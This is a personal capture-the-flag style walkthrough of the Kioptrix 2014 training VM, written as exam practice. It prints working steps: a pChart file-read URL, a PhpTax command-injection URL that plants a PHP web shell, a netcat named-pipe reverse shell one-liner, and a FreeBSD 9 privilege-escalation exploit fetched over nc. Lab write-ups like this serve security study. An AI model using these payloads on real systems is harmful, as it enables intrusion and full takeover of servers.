My lab time in the PWK course labs ran out a while back and I wasn’t ready for the exam. I think I understand all the theory that I need, it just takes m e too long to PWN systems, so I decided to try a few Vulnhub VMs. This article has a list of 10 that I will be trying, the first of which is Kioptrix 2014.

There are already walkthroughs all over the web, so I don’t feel like I’m giving away any spoilers here. I’m mostly documenting it for my own notes, but of course it can be used for hints if you’re going to give it a try.

I wanted to run in in VirtualBox, which requires the use of the extra “kiop2014_fix.zip” file as wall as the VMDK from the main kiop2014.tar.bz2

After starting the VM, I had to find the system’s IP address, so I ran netdiscover and it was quickly found. To find the open ports and identify the services, I ran nmap:

root@kali:~# nmap [IP-REDACTED] -sV

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-11 15:59 EDT
Nmap scan report for kioptrix2014.lan ([IP-REDACTED])
Host is up (0.00044s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 08:00:27:DC:55:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

Opening a web browser on port 8080 shows a 403 forbidden error message. Nothing too interesting in the response. The page returned on port 80 is more interesting though… When rendered, it’s just a heading that says “It works!”, but the source includes a commented out <meta refresh> that would redirect the browser to http://[IP-REDACTED]/pChart2.1.3/examples/index.php.

Initially, I thought I could inject some PHP in here. For example if I went to the sandbox and  changed my chart title to -“.shell_exec(“whoami”).”- then clicked the “Show code” button, it showed me that one line of code that would run would be

$myPicture->drawText(350,25,"-".shell_exec("whoami")."-",$TextSettings);

but when I clicked “Render picture”, the title was-“.shell_exec(“whoami”).”-, so it must have escaped it somehow when it really made the picture. Damn.

Next thing to try is looking for a known exploit for pChart:

root@kali:~# searchsploit pchart
--------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | php/webapps/31173.txt
--------------------------------------------- ----------------------------------

That txt file suggests that I can read any file on the system that the account running apache can read using a maliciously crafted url, for example http://[IP-REDACTED]/examples/index.php?Action=View&Script=/etc/passwd

Interestingly, we can see how this exploit works by examining the first line of index.php, which can be seen by visiting http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action=View&Script=index.php , which is:

<?php if ( isset($_GET["Action"])) { $Script = $_GET["Script"]; highlight_file($Script); exit(); } ?>

. We don’t even really need a value set for “Action”; http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=index.php works just as well.

Anyway, there’s not much of great interest that this account can access, but perhaps we can find out why we are seeing a 403 forbidden response when we connect to port 8080…

The apache config file on FreeBSD is located in /usr/local/etc/apache2x/httpd.conf, (on this system, since it’s apache 2.2, we should replace the “x” with a “2”) so we’ll look at that with http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=/usr/local/etc/apache22/httpd.conf and at the bottom of the file is:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

This tells us that port 8080 is serving files from /usr/local/www/apache22/data2, and that requests will only be allowed if the user agent starts with “Mozilla/4.0 Mozilla4_browser” . See https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html and http://httpd.apache.org/docs/current/mod/mod_access_compat.html#allow for more details of how that works.

Changing our user agent to “Mozilla/4.0 Mozilla4_browser_NOT REALLY!” makes apache respond to our requests to port 80, and the response says that there is a directory called phptax. This shows us a very ugly and dated web application that I clicked around, but couldn’t find anything interesting, so I used searchsploit again:

root@kali:~# searchsploit phptax
------------------------------------------------------------------ ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------ ----------------------------------
PhpTax - pfilez Parameter Exec Remote Code Injection (Metasploit) | php/webapps/21833.rb
phptax 0.8 - Remote Code Execution | php/webapps/21665.txt
PhpTax 0.8 - File Manipulation (newvalue) / Remote Code Execution | php/webapps/25849.txt
------------------------------------------------------------------ ----------------------------------

The second one looks interesting, it basically says that we can get remote code execution because user input is not sanitised before being used in php’s exec() function. I’ll confirm this works by writing a single line php backdoor file by visiting http://[IP-REDACTED]:8080/phptax/drawimage.php?pfilez=xxx;echo “<?php echo shell_exec(\$_GET[‘e’].’ 2>%261′);?>”>backdoor.php;&pdf=make in my browser, then http://[IP-REDACTED]:8080/backdoor.php?e=whoami to make sure it worked. It did, and now I can execute shell commands and see the output

It would be really nice to have a remote shell. I tried using “nc <IP> <PORT> -e /bin/sh”, but that didn’t work and “nc -h” showed why; -e is for specifying an IPsec policy (whatever that means) on this version of nc. We’ll have to try something else; I remember some time ago that I was able to use a named fifo pipe in order to get a shell with nc. This command worked for me to connect to a netcat listener:

mkfifo pipe;nc [IP ADDR] [PORT]<pipe|/bin/sh>pipe 2>pipe;rm pipe

Running “uname -r” tells us that we’re on a FreeBSD 9.0 system. Let’s try to get root. Back to searchsploit:

root@kali:~# searchsploit -t FreeBSD 9
------------------------------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------- ----------------------------------
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20810.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20811.cpp
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20812.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20813.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20814.c
FreeBSD 9.1 ftpd - Remote Denial of Service | freebsd/dos/24450.txt
FreeBSD mcweject 0.9 (eject) - Buffer Overflow Privilege Escalation | bsd/local/3578.c
BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD 2.1. | unix/local/19203.c
FreeBSD 9.0 < 9.1 mmap/ptrace - Privilege Escalation | freebsd/local/26368.c
FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit) | freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | freebsd/local/28718.c
FreeBSD/x86 - rev connect_ recv_ jmp_ return results Shellcode (90 bytes | freebsd_x86/shellcode/13265.c
FreeBSD/x86 - Rortbind Reverse 127.0.0.1:8000 /bin/sh Shellcode (89 byte | freebsd_x86/shellcode/13267.asm
------------------------------------------------------------------------- ----------------------------------

26368 looks promising, let’s send it to the remote machine. I ran this on my attacking machine:

searchsploit -m 26368;nc -vnlp 6666 <26368.c

then ran this on the remote system:

nc 192.168.23.120 6666 >26368.c

and after a few seconds, I hit CTRL+C to close the nc session. Not I have the exploit on the FreeBSD system, so I can compile it and run it:

gcc 26368.c -o 26368
./26368
whoami
root

We’ve got root! Inside root’s home directory is a nice txt file with some interesting information that we can read using cat

I recently learned that the guy that made this VM (Steven “loneferret” McElrea) passed away a couple of months ago. I’m grateful for the time he put into making this VM and my thoughts go out to his family.